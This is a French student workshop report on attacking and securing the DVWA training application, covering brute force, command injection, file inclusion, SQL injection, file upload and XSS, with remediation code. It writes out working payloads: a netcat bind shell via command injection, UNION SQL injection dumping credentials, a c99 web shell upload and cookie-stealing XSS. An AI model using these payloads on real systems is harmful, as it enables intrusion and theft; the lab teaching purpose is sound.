Rapport atelier Web App Security 2015

Web App Security
CHEF ATELIER: BEN MARZOUK HAMZA(RT3)
BOUJBEL AMEL(RT4)
KHALIFI MAJDI(ISI)
TOURJMEN HELA(RT3)
ALIBI GHAZI(ISET)
BEL HAJ HASSINE SOUHA(RT3)
TRABELSI OUSSAMA(MPI)

Web App Security | SECURILIGHT 2014
1
Table des matières
1. Présentationdel’atelier.....................................................................................................2
2. Présentationdesoutilsutilisés............................................................................................3
a. Wamp ...............................................................................................................................3
b. DVWA ...............................................................................................................................3
c. Backtrack...........................................................................................................................4
d. Bruter................................................................................................................................5
3. Topologieduréseau.........................................................................................................6
4. Configurationdesoutils.....................................................................................................7
Cas général :......................................................................................................................7
Brute Force :......................................................................................................................9
Command Execution :......................................................................................................10
File Inclusion : .................................................................................................................10
SQL injection : .................................................................................................................10
Command Execution: ......................................................................................................10
File Upload :....................................................................................................................10
XSS stored : .....................................................................................................................10
XSS reflected : .................................................................................................................10
5. Unscénariodetest.........................................................................................................11
Brute force : ....................................................................................................................11
Command Execution :......................................................................................................16
File Inclusion : .................................................................................................................21
SQL injection : .................................................................................................................28
File Upload :....................................................................................................................34
XSS Reflected :.................................................................................................................44
XSS Stored :.....................................................................................................................48
6. Conclusion ....................................................................................................................52

2
1.Présentation de l’atelier
L’Atelier Web App Security représente l’étude et le test des différentes
vulnérabilités d’une application Web vulnérable (DWVA) distante ou
locale en vue de la sécuriser en suite contre ces failles.

3
2.Présentation des outils utilisés
a. Wamp
WampServer est une plate-forme de développement Web non payante
sous Windows pour des applications Web dynamiques à l’aide du
serveur Apache2, du langage de scripts PHP et d’une base de données
MySQL. Il possède également PHPMyAdmin pour gérer plus facilement
vos bases de données.
WampServer nous permet d’installer et tester facilement l’application
DVWA et de la tester en local.
WampServer a comme concurrents EasyPHP et VertrigoServ qui sont
aussi non payants
b. DVWA
DVWA est conçu pour les développeurs qui souhaitent apprendre à
protéger leurs applications web. Damn Vulnerable Web App (DVWA) est
une application Web PHP/MySQL, qui est sacrément vulnérable. Son but
est d'aider les professionnels de la sécurité à tester leurs outils dans un
environnement légal, d'aider les développeurs à une meilleure
compréhension du processus de sécurisation des applications web.

4
c. Backtrack
BackTrack est une distribution Linux, basée sur Slackware jusqu'à la
version 3 et Ubuntu depuis la version 4, apparue en 2006. Elle est née de
la fusion de Whax et Auditor. Son objectif est de fournir une distribution
regroupant l'ensemble des outils nécessaires aux tests de sécurité d'un
réseau.
Depuis 2013, Backtrack est devenu Kali Linux.
BackTrack utilise KDE et GNOME (depuis la version 5 pour ce dernier),
supporte plusieurs dispositions de clavier par simple clic (le français
s'obtient en sept clics sur le drapeau de la barre KDE), et contient de
nombreux outils permettant d'effectuer des tests de sécurité (près de
300).
Elle vise à aborder tous les domaines liés aux sécurités modernes. De
l'audit réseau à l'analyse et l'identification de vulnérabilité, BackTrack
est reconnu par les professionnels de la sécurité informatique comme
outil complet.

5
d. Bruter
Bruter est un outil spécifique à l’attaque brute force il sert à forcer
l’authentification à travers des connexions parallèles sur la victime en
utilisant un dictionnaire de login et mots de pass.
C’est un outil gratuit sur Windows. Il existe d’autres solutions similaires
comme Cain & Abel.
Interface de Bruter

6
3.Topologie du réseau
Pour cet atelier on a seulement besoin d’une machine fonctionnant
avec Windows sur laquelle on a installé un WampServer pour faire
fonctionner la DWVA ou une machine fonctionnant avec Backtrack vu
que ce dernier intègre les services MySQL et apache

7
4. Configuration des outils
Cas général :
1. Installation de WampServer :
Télécharger WampServer : http://www.wampserver.com/
2. Installation de DVWA :
 Télécharger DVWA : http://www.dvwa.co.uk/
 Déplacer le dossier de l’application dans le répertoire
/wamp/www/
 Démarrer l’application à partir du navigateur :
 Ouvrir dans le navigateur localhost
 Ouvrir l’application DWVA localhost/DWVA
 Se logger comme admin avec mot de pass password

8

9
Brute Force :
L’outil Bruter nous permet de configurer les différents paramètres de
l’attaque Brute force sur une application web.
Pour cela on doit récupérer ces paramètres grâce à un plugin installé sur
le navigateur web Mozilla « En-têtes HTTP en direct »

10
Après cette configuration on pourra réaliser les attaques brute force et les tests.
Command Execution :
Pas de configuration supplémentaire nécessaire
File Inclusion :
SQL injection :
Command Execution:
File Upload :
XSS stored :
XSS reflected :

11
5.Un scénario de test
Brute force :
Cette méthode est en général considérée comme la plus simple concevable. Elle permet de
casser tout mot de passe en un temps fini indépendamment de la protection utilisée, mais le
temps augmente avec la longueur du mot de passe. En théorie la complexité d'une attaque
par force brute est une fonction exponentielle de la longueur du mot de passe, la rendant
virtuellement impossible pour des mots de passe de longueur moyenne, mais en pratique
des optimisations heuristiques peuvent donner des résultats dans des délais beaucoup plus
courts. Cette méthode est souvent combinée avec l'attaque par dictionnaire et par table arc-
en-ciel pour trouver le secret plus rapidement.
Au niveau de l’attaque nous avons déjà présenté la configuration de l’outil avec lequel on va
tester : Bruter. Après avoir préparé la configuration correspondante au niveau de sécurité de
DVWA on lance l’attaque :
Niveau low :
Et finalement on retrouve la combinaison dans 6 secondes
Code du niveau low:

12
<?php
if( isset( $_GET['Login'] ) ) {
$user = $_GET['username'];
$pass = $_GET['password'];
$pass = md5($pass);
$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$p
ass';";
$result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '
</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$i=0; // Bug fix.
$avatar = mysql_result( $result, $i, "avatar" );
// Login Successful
echo "<p>Welcome to the password protected area " . $user . "
</p>";
echo '<img src="' . $avatar . '" />';
} else {
//Login failed
echo "<pre><br>Username and/or password incorrect.</pre>";
}
mysql_close();
}
?>
On constate bien que ce code ne contient aucun contrôle et aucune sécurisation contre le
bombardement de l’application par brute force.
Niveau medium :
Dans ce niveau on remarque que la sécurisation ajoutée n’a pas changé grande chose, elle a
retardé d’une seconde seulement la récupération de la combinaison.

13
Code du niveau Medium :
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
ass';";
$result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '
</pre>' );
if( $result && mysql_num_rows($result) == 1 ) {
$i=0; // Bug fix.
// Login Successful
</p>";
} else {
//Login failed
}
mysql_close();
}
?>
On constate que ce code contient un traitement sur le username et sur le password , ce
genre de traitement sert principalement à ralentir la requête et ce afin d’augmenter le
temps de recherche du hacker.
Niveau High :
Dans le niveau high on remarque que ça change totalement , l’application devient mieux
protégée grâce à des modifications importantes.
Résultat de l’attaque :

14
On remarque que l’attaque n’a pas abouti à un résultat et s’est bloquée
Code du niveau High :
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
ass';";
$result = mysql_query($qry) or die('<pre>' . mysql_error() . '</p
re>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
$i=0; // Bug fix.
// Login Successful
</p>";
} else {
// Login failed
sleep(3);
}
mysql_close();
}
?>
Le code du niveau high contient désormais à part un traitement consistant sur le username
et mot de passe, un temps d’attente après chaque authentification non acceptée, ce temps

15
d’attente ralentit énormément voire même bloque l’application malveillante qui essaie de
forcer l’opération.
On pourra aussi proposer une solution alternative au niveau high en nous servant d’une
table dans laquelle on enregistre les utilisateurs suspects et on les bloque pendant une
durée assez longue (une minute par exemple) .Aussi on ajoute ce qu’on appelle « key
stretching »
“In cryptography, key stretching refers to techniques used to make a possibly weak key,
typically a password or passphrase, more secure against a brute force attack by increasing
the time it takes to test each possible key. Passwords or passphrases created by humans are
often short or predictable enough to allow password cracking. Key stretching makes such
attacks more difficult.” “Wikipedia”.
Solution proposée:

16
Command Execution :
L'une des vulnérabilités les plus critiques qu'un testeur peut rencontrer dans un test de
demande de pénétration sur Internet est de trouver une application qu'il lui permettra
d'exécuter taux de commandes. Le taux du système de cette vulnérabilité est élevé, car il
peut permettre à tout utilisateur non autorisé et malveillants pour exécuter les commandes
systèmes depuis l'application Web et pour récolter grande quantité d'informations ou de
compromettre la machine cible . Nous allons voir comment nous pouvons exploiter cette
vulnérabilité en utilisant l'application web vulnérable DVWA .
LOW LEVEL:
Comme nous pouvons le voir dans le DVWA nous avons un utilitaire de ping libre qui nous
permet de faire un ping sur n’ importe quelle adresse IP.
Afin de se assurer que l'application est vulnérable à commander l'exécution nous pouvons
essayer une simple commande .Dans le champ d'adresse IP, nous tapons 1 | echo
pentestlab .Si pentestlab apparaît sur l'application Web après la soumission de la commande
alors nous avons une exécution de la commande vulnérabilité.

17
Toujours dans les systèmes d'exploitation basés sur Linux, nous voulons afficher le contenu
du fichier / etc / passwd parce que nous pouvons trouver des informations sur les
utilisateurs
.
Nous pouvons également utiliser la commande suivante pour ouvrir un port sur l'hôte
distant et de se reconnecter avec netcat.
1 | netcat -v -e '/ bin / bash' -l -p 31337
Pourquoi l’application est vulnérable?
Nous pouvons répondre à cette question tout en examinant le code source

18
De le code ci-dessus, nous pouvons voir qu'il n'y a pas de contrôle pour la cible variable
$target et elle correspond à une adresse IP ce qui permet à un attaquant d'ajouter
commandes derrière l'adresse IP.
Medium level
À sécurité moyenne, DVWA rend un peu plus difficile par décapage à ces opérateurs
familiers. Cependant, si nous alimentons une adresse IP qui ne répond pas à ICMP, il
provoque ping pour revenir $? ! = 0 moment idéal pour ajouter une double pipe -. '||' – à
l'adresse. En faisant cela, nous pouvons diriger le shell pour exécuter la commande (s) vers la
droite des tuyaux.
Fond rapide - la double barre verticale indique au shell pour exécuter commande2
seulement si les rendements Command1 avec un échec:
command1 || commande2
Voici un exemple concret:
sh-3.2 $ cat non_existent_file || echo "Fichier non trouvé"
cat: non_existent_file: Aucun fichier ou répertoire
Fichier introuvable
Alors que si nous utilisons '&&':
sh-3.2 $ cat non_existent_file && echo "Fichier non trouvé"
cat: non_existent_file: Aucun fichier ou répertoire
Avis, la commande 'echo' ne sera pas exécutée.
Le code de la sécurité medium level est :

19
High level
Dans ce niveau ,On ne peut pas exécuter les commandes linux. par exemple on veut
exécuter la commande 1| cat /etc/ password
La réponse sera :
Donc l’entrée doit ètre une adresse ip dans ce niveau de sécurité

20
La vulnérabilité de command exécution est annulée dans le High level grâce au contrôle sur
la variable $target

21
File Inclusion :
La faille à laquelle on s'intéresse est due à l'absence de contrôle sur le nom d'un fichier ,qui
peut être manipulé par l'utilisateur, qu'on essaye d'inclure dans le code source (en utilisant
la fonction include();)
Dans notre cas le nom du fichier va être récupéré a l'aide de la méthode $_GET[''] ,donc c'est
ce qui apparait dont la barre d'adresse qui va être manipulé.
Scenarios de test:
Les fichiers qu'on va inclure seront de type texte (.txt) puisque notre but est d'exécuter le
code qu'ils contiennent sur le serveur contenant la page vulnérable et non pas le nôtre.
Exécution de commandes sur le serveur:
On peut utiliser la fonction prédéfinie “system();” qui permet d'exécuter des commandes sur
le serveur. Afin de déterminer la commande à exécuter on peut utiliser la méthode $_GET['']
pour passer cette commande comme paramètre à la fonction.
Notre code serait ainsi:
Puis il ne nous reste que d'inclure le fichier contenant ce code et de passer la commande en
paramètre à travers la barre d’adresse, dans cet exemple on va utiliser une commande
simple : la commande «help»
Et le résultat de l'exécution de cette commande serait:

22
Collecte d'informations importantes:
Informations sur la configuration de PHP sur le serveur utilisé:
on peut obtenir ce type d'information en appelant la fonction prédéfinie "phpinfo();".
Ainsi le code serait:
Et le résultat serait l'apparition de plusieurs informations qui peuvent nous aider à avoir une
idée sur d'autres types d'attaques peut-on performer :

23
On peut dans ce cas par exemple obtenir le chemin du fichier php.ini et on peut ainsi utiliser
cette même faille pour le lire ou même le modifier (ce qui dépend des droits donnés aux
utilisateurs par le serveur).
Informations concernant le serveur :
On peut utiliser le code si dessous pour afficher des informations sur le
serveur dans un tableau :

24
Maintenant il ne nous reste que d'inclure le fichier dont on a ecrit ce code :
Le code serait ainsi exécuter par le serveur et on obtient en fin le tableau suivant :
Avoir accès a des fichier critiques:

25
A cause du fichier .htaccess quelques fichiers ou dossiers peuvent ne pas être accessible sauf
si on présente l'identifient et le mot de passe correctes. C’est pour cette raison que
l'utilisation de cette vulnérabilité pour afficher le contenu des fichiers .htaccess et .htpasswd
est considérer comme important et ceci pourrait être réalisé par l'utilisation de la fonction
"show_source();",qui affiche le code source d'une page passée en paramètre.
Le code de notre page serait ainsi:
et on pourrait l'exploiter en insérant à chaque fois le nom ou le chemin vers le fichier qui
nous intéresse.
Appliquons ce teste sur le fichier "include.php":
Utilisons cette même méthode pour des fichiers plus importants comme .htaccess

26
Contourner le problème propose dans le niveau medium:
Dans ce niveau on peut toujours inclure des fichiers locaux comme le .htaccess .htpasswd …
Mais toute apparition de http:// ou https:// va être remplacée par une chaine vide ("") or
comparer deux chaines revient à comparer les codes ascii de leurs caractères donc http:// et
HTTP:// par exemple, sont considérer différents, ce qui représente une solution pour ce cas.
Remarque:
Si le développeur essaye de nous forcer à inclure un fichier d'extension PHP alors qu'on
s'intéresse a inclure des fichiers de type diffèrent on peut ajouter à la fin du nom du fichier
ce qu'on appelle le «null byte» pour ignorer le reste de la chaine et par conséquent
l'extension ajoutée dans le code source de la page .En effet la fonction include va être
traitée par une fonction (entre autres) programmée en C, et en C le «null byte» signifie la fin
de la chaine c'est pour cette raison que la partie qui suit(l'extension .php dans ce cas) va être
ignorée.
Solution:
La solution est de contrôler le nom du fichier qui pourrait être donne ou modifier par
l'utilisateur.
On peut donc générer un code qui ne permet l'inclusion qu'aux pages qu'on détermine dans
notre code dans ce cas ça serait la page "include.php" uniquement:

27
Si on essaye d'exploiter la faille:
Désormais notre application n’est plus vulnérable à ce type d’attaque

28
SQL injection :
Une injection SQL est un type d'exploitation d'une faille de sécurité d'une application
interagissant avec une base de données, en injectant une requête SQL non prévue par le
système et pouvant compromettre sa sécurité.
Dans le cas de notre application on a 3 niveaux de sécurité : LOW LEVEL, MEDIUM LEVEL et
HIGH LEVEL.
LOW etMEDIUM LEVEL:
1-Test de vulnérabilité:
Nous pouvons faire l'attaque à partir du zone de texte ci-dessous:
Nous testons si notre application est vulnérable ou non:
La page Web est censé imprimer ID, Prénom, Nom et à l'écran.
Cette partie du code sera exploité et '$id' sera remplacer par 1.

29
2-Scénario toujours vrai pour afficher tous les utilisateurs:
Maintenant cet partie du code sera exploité et '$id' sera remplacer par %' or '0'='0.
3-Version de la base de données:
%' or 0=0 union select null, version() #
Dans la dernière ligne affichée, 5.5.24 est affichée dans SURNAME c'est la version de
MYSQL database.

30
4-Afficher toutes les tables INFORMATION_SCHEMA:
%' and 1=0 union select null, table_name from information_schema.tables #
Maintenant, nous affichons toutes les tables de la base de données
INFORMATION_SCHEMA.
Le INFORMATION_SCHEMA est la base de données, l'endroit qui stocke des informations sur
toutes les autres bases de données que le serveur MySQL entretient.
5-Afficher toutes les tables utilisateur de
INFORMATION_SCHEMA:
%' and 1=0 union select null, table_name from information_schema.tables where
table_name like 'user%'#
Maintenant, nous affichons toutes les tables qui commencent par le préfixe «user» dans la
base de données INFORMATION_SCHEMA.
6-Afficher tous les champs de colonnes dans la table user de
INFORMATION_SCHEMA:
%' and 1=0 union select null, concat(table_name,0x0a,column_name) from
information_schema.columns where table_name = 'users' #

31
Maintenant, nous affichons toutes les colonnes dans la table users.
Il ya les colonnes user_id, first_name, last_name, user et Password
7-Afficher tous les contenus de champs de colonnes dans la
table user de INFORMATION_SCHEMA:
%' and 1=0 union select null,
concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

32
Maintenant, nous avons réussi à montrer toutes les informations d'authentification
nécessaires dans cette base de données.
8-Créer un hash de fichier:
Nous créerons le fichier contenant les login et les mot de passe hachés séparées par ':'
puis on l'enregistre dans '/pentest/passwords/john' sous le nom 'dvwa_password.txt'.
Nous exécutons en suite les commandes suivantes:
cd /pentest/passwords/john
./john --format=raw-MD5 dvwa_password.txt

33
Enfin, Nous avons réussi à afficher tous les mots de passe et nous pouvons maintenant
connecter avec n'importe quel nom d'utilisateur.
Solution:
Ces attaques peuvent être évitées de plusieurs façons :
 Utiliser des procédures stockées, à la place du SQL dynamique. Les données entrées
par l'utilisateur sont alors transmises comme paramètres, qui, s'ils sont
correctement utilisés par la procédure (par exemple injectés dans une requête
paramétrée), évitent l'injection.
 Vérifier de manière précise et exhaustive l'ensemble des données venant de
l'utilisateur. On peut, par exemple, utiliser une expression rationnelle afin de valider
qu'une donnée entrée par l'utilisateur est bien de la forme souhaitée, ou profiter de
fonctions de transformation spécifiques au langage.
Dans notre application nous allons appliquer des fonctions prédéfinies pour éviter toute
sorte d'injection:
stripslashes(paramètre);
mysql_real_escape_string(paramètre);
is_numeric(paramètre);
Alors, notre code de l'application devient:

34
File Upload :
De nos jours, de nombreux sites permettent d’envoyer des fichiers sur leurs
serveurs, pour les partager, les montrer a tout le monde. Ces services peuvent être
très dangereux si ils ne sont pas bien protégés, car on propose à l’utilisateur
d’envoyer des donnés sur le serveur. Et ils pourraient bien envoyer par exemple du
code PHP contenant une Backdoor.

35
Exemple d’exploit de la faille File Upload
Dans ce cas de figure on va utiliser la sécurité basse de DVWA et on va uploader dans
l’application un fichier malveillant, il s’agit d’un shell php « c99 ».
Avec la sécurité basse DWVA accepte tout type de fichier, on va voir après comment
corriger cette faille.
DVWA a bel et bien accepté notre fichier, maintenant passons aux choses
intéressantes. On va maintenant utiliser notre fichier c99.php

36
Et hop :
A travers ce Shell, on peut tout faire pour un serveur Unix. En d’autres termes il nous
permet de prendre le contrôle d’un serveur.

37
Etude de la faille
Maintenant venons au code de la faille :
Commençons par le niveau low
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded
']['name']);
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $
target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
?>
On remarque bien que ce code ne contient aucun contrôle sur le fichier à uploader
d’où on peut uploader n’importe quel fichier.

38
On passe maintenant au niveau medium
<?php
$target_path = $target_path . basename($_FILES['uploaded'
]['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size <
100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'
], $target_path)) {
echo '<pre>';
echo '</pre>';
} else {
echo '<pre>';
echo '</pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
À ce niveau, on remarque le code contient désormais deux contrôles sur le fichier ;
un contrôle sur le type et un second sur la taille.
Mais cela reste insuffisant car on peut renommer le fichier et ajouter une extension
image

39
On voit bien que l’application n’accepte pas le fichier
Mais si on renomme le fichier comme suit shell.php.jpeg

40
Sachant que l’extension n’a pas d’importance dans un système Unix, cette faille reste
dangereuse d’où il faut ajouter d’autres contrôles.

41
Au niveau high :
<?php
]['name']);
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_
name, '.') + 1);
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" ||
$uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_siz
e < 100000)){
], $target_path)) {
echo '<pre>';
echo '</pre>';
} else {
echo '<pre>';
echo '</pre>';
}
}
else{
echo '<pre>';
echo '</pre>';
}
}
?>
On remarque ici l’utilisation d’un contrôle sur l’extension mais ceci reste toujours
vulnérable à l’ajout d’une extension que l’application accepte
Par exemple shell2.php.jpeg

42
Pour remédier à cette faille on doit tester sur des paramètres spécifiques au type
image comme hauteur et largeur
Pour cela on utilise la fonction php getimagesize()
Alors le code devient :
<?php
]['name']);
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_
name, '.') + 1);
list($width, $height, $type, $attr) = @getimagesize($_FIL
ES['uploaded']['tmp_name']);
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" ||
$uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_siz
e < 100000) && ($width > 1) &&($height > 1)) {

43
], $target_path)) {
echo '<pre>';
echo '</pre>';
} else {
echo '<pre>';
echo '</pre>';
}
}
else{
echo '<pre>';
echo '</pre>';
}
}
?>
Et voilà le test :
Et finalement:
Notre application est maintenant plus résistante à ce type d’attaque
Conclusion

44
Grace à cette étude, on a pu voir comment exploiter la faille de notre application et
la protéger contre cette attaque très souvent utilisée par les hackers car elle permet
de prendre totalement le contrôle de la cible.
XSS Reflected :
Introduction :
Le cross-site scripting (abrégé XSS), est un type de faille de sécurité des sites web
permettant d'injecter du contenu dans une page, permettant ainsi de provoquer des actions
sur les navigateurs web visitant la page. Les possibilités des XSS sont très larges puisque
l'attaquant peut utiliser tous les langages pris en charge par le navigateur (JavaScript, Java,
Flash...) et de nouvelles possibilités sont régulièrement découvertes notamment avec
l'arrivée de nouvelles technologies comme HTML5. Il est par exemple possible de rediriger
vers un autre site pour du hameçonnage ou encore de voler la session en récupérant les
cookies.

45
Ce type de faille de sécurité apparait lorsque des données fournies par un client web sont
utilisées telles quelles par les scripts du serveur pour produire une page de résultats. Si les
données non vérifiées sont incluses dans la page de résultat sans encodage des entités
HTML, elles pourront être utilisées pour injecter du code dans la page dynamique reçue par
le navigateur client.
1. Low level :
Comme nous pouvons le voir dans le DVWA, il y a une zone de texte qui a comme paramètre
d’entée une chaine de caractère, elle retourne un message « hello nom_saisie ».
Afin de tester que l’application est vulnérable, on va injecter un simple code HTML dans
cette zone de texte.
Après exécution, le mot ghazi sera en gras et en italique.
Ceci
Ceci est un simple exemple, mais avec des codes plus complexe et dangereux, l'attaquant
peut :
- voler des informations d'identification dans les cookies non-HttpOnly.
- envoyer des requêtes à un serveur avec les informations d'identification de l'utilisateur.
- voler des secrets qui sont stockés dans les variables JavaScript.
- -inviter l'utilisateur à télécharger du contenu en soumettant un formulaire.
- rediriger vers un autre site.
- obtenir des données GPS / appareil photo si l'utilisateur a accordé que l'accès du site à
l'appareil.
Exemple du code qui permet de changer les liens dans les balises <a></a> avec un lien
malveillant.

46
Exemple du code qui permet de d’intercepter les cookies d’un utilisateur et les envoie à son
serveur.
Ce problème existe puisque il n’a pas de contrôle sur le champ de saisie.
2. medium level :
Dans ce niveau, on ajoute une fonction dans le langage PHP : le « str_remplace ». Elle
permet de faire un filtre dans la saisie. Tout balise commencent par « <script> » sera
remplacer par une chaine vide.
Il existe plusieurs mécanismes disponibles pour les développeurs pour dépasser ce filtre, tels
que de renvoyer une erreur, en supprimant, encodage, ou de remplacer une entrée invalide.
Le moyen par lequel l'application détecte et corrige les entrées invalides est une autre
faiblesse dans la prévention primaire XSS.
Dans certains cas, il est possible que les filtres basés sur les signatures puissent être
simplement défaits par obscurcir l'attaque. Typiquement, vous pouvez le faire grâce à
l'insertion de variations inattendues dans la syntaxe. Ces variations sont tolérées par les
navigateurs HTML valide que lorsque le code est retourné, et pourtant, ils pourraient
également être acceptées par le filtre.

47
Pour sécuriser l’application, plusieurs techniques permettent d'éviter le XSS:
- utiliser la fonction htmlspecialchars() qui filtre les '<' et '>' (cf. ci-dessus) ;
- utiliser la fonction htmlentities() qui est identique à htmlspecialchars() sauf qu'elle filtre
tous les caractères équivalents au codage HTML ou JavaScript.
- utiliser strip_tags() qui supprime les balises.
3. High level :
Apres la modification du code, on a ajouté htmlspecialchars()qui filtre les caractères spécial.
C’est la mode la plus sécurisé.

48
XSS Stored :
Le cross-site scripting est abrégé XSS pour ne pas être confondu avec le CSS (feuilles de
style)1
, X se lisant « cross » (croix) en anglais.
Les failles XSS sont très répandues sur Internet, et utilisées dans de nombreuses attaques
aujourd’hui.
Le principe est d'injecter des données arbitraires dans un site web, par exemple en déposant
un message dans un forum, ou par des paramètres d'URL. Si ces données arrivent telles
quelles dans la page web transmise au navigateur (par les paramètres d'URL, un message
posté…) sans avoir été vérifiées, alors il existe une faille : on peut s'en servir pour faire
exécuter du code malveillant en langage de script (du JavaScript le plus souvent) par le
navigateur web qui consulte cette page.
XSS Stored
Ce type de vulnérabilité, aussi appelé faille permanente ou du second ordre permet des
attaques puissantes. Elle se produit quand les données fournies par un utilisateur sont
stockées sur un serveur (dans une base de données, des fichiers, ou autre), et
ensuite réaffichées sans que les caractères spéciaux HTML aient été encodés.
Low Level :
Ici nous avons 2 champs qui permettent de laisser des messages et d’indiquer son nom
d’utilisateur.
On va tenter une XSS simple pour commencer (insérer du code Javascript qui sera
interprété par le navigateur afin d’afficher une boite de dialogue Javascript)
On tape dans la case :
« Name » : n’importe quel nom

49
« Message » : la ligne suivante :
<script>alert("Ceci affiche une alerte javascript dans la page");</script>
A chaque fois qu’on ira sur cette page, on verra apparaitre cette boite de
dialogue !
On va essayer cette fois d’insérer une page web dans la page du livre d'or. Pour
cela on écrit dans la case « Message » :
<iframe src="http://www.Google.com"></iframe>
On remarque que le site www.Google.com apparait à l'endroit où aurait du être
placé notre message !
On va tenter Maintenant une attaque de niveau plus important : Les cookies
On tape dans le champ « Message » :
<script>alert(document.cookie);</script>
Les cookies doivent s'afficher dans une alerte javascript comme suit :

50
Middle Level :
Si on retape le même code avec un niveau de sécurité moyen, on remarque que le code
n’est pas exécuté (aucune fenêtre n’apparait) et que les balises script sont supprimées.
Il va donc falloir injecter du code ne contenant pas ce type de balises
On tape dans la case « Name » :
<a href=test.html onClick=alert(document.cookie)>Click me !</a>
En cliquant sur « Click Me ! » la fenêtre suivante apparait :

51
Les codes Source :
Low Level :
Middle Level :

52
High Level (Solution):
En modifiant le code source de la sorte notre application n’est plus vulnérable.
La fonction htmlspecialchars() appliquée aux champs « Name » et « Message »
permet de filtrer les caractères spéciaux et donc les balises ce qui permet de
protéger notre application
6.Conclusion
Nous espérons à travers ces présentations avoir réussi à vous expliquer
le principe des différentes failles pouvant exister dans une application
Web et plus important que ça comment exploiter et sécuriser ces failles
qui peuvent être dévastatrices pour le serveur hébergeant l’application
s’il n’est pas bien protégé.
A travers cet atelier on a pu améliorer nos compétences de travail en
groupe et de partage de connaissances mais aussi l’utilisation d’outils
spécialisés comme Backtrack qui est très puissant comme outil d’étude
et de test

Rapport atelier Web App Security 2015

Contenu connexe

Tendances

En vedette

Similaire à Rapport atelier Web App Security 2015

Rapport atelier Web App Security 2015